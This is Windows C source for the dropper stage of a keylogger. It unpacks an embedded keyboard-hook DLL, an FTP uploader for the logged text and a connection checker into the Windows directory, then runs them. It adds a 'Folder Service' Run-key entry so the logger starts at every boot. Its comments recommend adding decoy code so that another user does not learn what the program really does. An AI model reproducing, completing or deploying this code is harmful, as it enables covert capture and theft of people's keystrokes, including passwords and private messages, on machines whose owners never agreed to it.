////////////////////////////////////////////////////////////////////
// This program is done by Hirosh Joseph from india //
// Email hirosh@hirosh.com //
// Website www.hirosh.com,www.hirosh.net,www.hirosh.org //
// I always welcome to ur valuble comments //
////////////////////////////////////////////////////////////////////
//REad carefully
//currently no resource is added to this project
//So add that 2 exe files and dll to the binary resources to this progect..
// then rebuild ok
#include "stdafx.h"
#include "resource.h"
#include <stdio.h>
int x,y;
char s[11][25];
int iii;
HINSTANCE hInst;
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
hInst=hInstance;
char a[MAX_PATH];
HKEY hkeyresult ;
long l=RegOpenKey (HKEY_LOCAL_MACHINE, ( LPCTSTR ) "Software\\Foldsoft", &hkeyresult );
RegCloseKey ( hkeyresult );
if (l!=ERROR_SUCCESS)
{
FILE *f1;
strcpy(a,"");
GetWindowsDirectory(a,MAX_PATH);
strcat(a, "\\Serv22.txt" );
f1=fopen(a,"w");
fclose(f1);
char sdate[50];
SYSTEMTIME stime;
GetSystemTime(&stime);
sprintf(sdate,"%d",(stime.wDay-2));
RegCreateKey(HKEY_LOCAL_MACHINE, ( LPCTSTR ) "Software\\Foldsoft", &hkeyresult );
RegSetValueEx ( hkeyresult, ( LPCTSTR )"Date" ,0, REG_SZ, ( const BYTE* ) ( LPCTSTR ) sdate,sizeof(sdate)) ;
RegSetValueEx ( hkeyresult, ( LPCTSTR )"Check" ,0, REG_SZ, ( const BYTE* ) ( LPCTSTR ) sdate,sizeof(sdate)) ;
RegSetValueEx ( hkeyresult, ( LPCTSTR )"Sent" ,0, REG_SZ, ( const BYTE* ) ( LPCTSTR ) "1",1) ;
RegCloseKey ( hkeyresult );
strcpy(a,"");
GetWindowsDirectory(a,MAX_PATH);
strcat(a, "\\Serv22.dll" );
////////////////////////////
HRSRC hResLoad; // handle to loaded resource
HRSRC hRes; // handle/ptr. to res. info. in hExe
char *lpResLock; // pointer to resource data
HMODULE hModule;
//This resource is the Key board hook DLL of Section 1
// Add that Dll file to a binary resource
hModule = GetModuleHandle (NULL);
hRes = FindResource(hModule,MAKEINTRESOURCE(IDR_DATA3), RT_RCDATA);
hResLoad = (HRSRC)LoadResource(NULL, hRes);
DWORD si,dwBytes;
si=SizeofResource(NULL,hRes);
lpResLock = (char *)LockResource(hResLoad);
HANDLE hFile = CreateFile (a,
GENERIC_WRITE,
0,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
WriteFile (hFile, (LPVOID)lpResLock, si, &dwBytes, NULL);
CloseHandle (hFile);
//This resource is the Exe file of Section 2 that is postin text file to that
// FTP site
// Add that exe file to a binary resource
strcpy(a,"");
GetWindowsDirectory(a,MAX_PATH);
strcat(a, "\\ServPost.exe");
hRes = FindResource(hModule,MAKEINTRESOURCE(IDR_DATA8), RT_RCDATA);
hResLoad = (HRSRC)LoadResource(NULL, hRes);
si=SizeofResource(NULL,hRes);
lpResLock = (char *)LockResource(hResLoad);
hFile = CreateFile (a,
GENERIC_WRITE,
0,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
WriteFile (hFile, (LPVOID)lpResLock, si, &dwBytes, NULL);
CloseHandle (hFile);
//This resource is the Exe file of Section 3 that
// Check the net conection..
// Add that exe file to a binary resource
strcpy(a,"");
GetWindowsDirectory(a,MAX_PATH);
strcat(a, "\\Serv22.exe" );
hRes = FindResource(hModule,MAKEINTRESOURCE(IDR_DATA9), RT_RCDATA);
hResLoad = (HRSRC)LoadResource(NULL, hRes);
si=SizeofResource(NULL,hRes);
lpResLock = (char *)LockResource(hResLoad);
hFile = CreateFile (a,
GENERIC_WRITE,
0,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
WriteFile (hFile, (LPVOID)lpResLock, si, &dwBytes, NULL);
CloseHandle (hFile);
///////////////
WinExec("Serv22",SW_SHOW);
}
//change
strcpy(a,"");
strcat(a, "Serv22.exe" );
HKEY childkey = 0 ;
DWORD dispos ;
RegCreateKeyEx (HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_CREATE_SUB_KEY | KEY_ALL_ACCESS, NULL, &childkey, &dispos ) ;
RegSetValueEx ( childkey, "Folder Service ", 0, REG_SZ, ( const BYTE* ) ( LPCTSTR ) a, sizeof(a)) ;
RegCloseKey ( childkey );
//We can add any of the other code to this part.
//So the another user Dont know the original functionality of
//this program
return 0;
}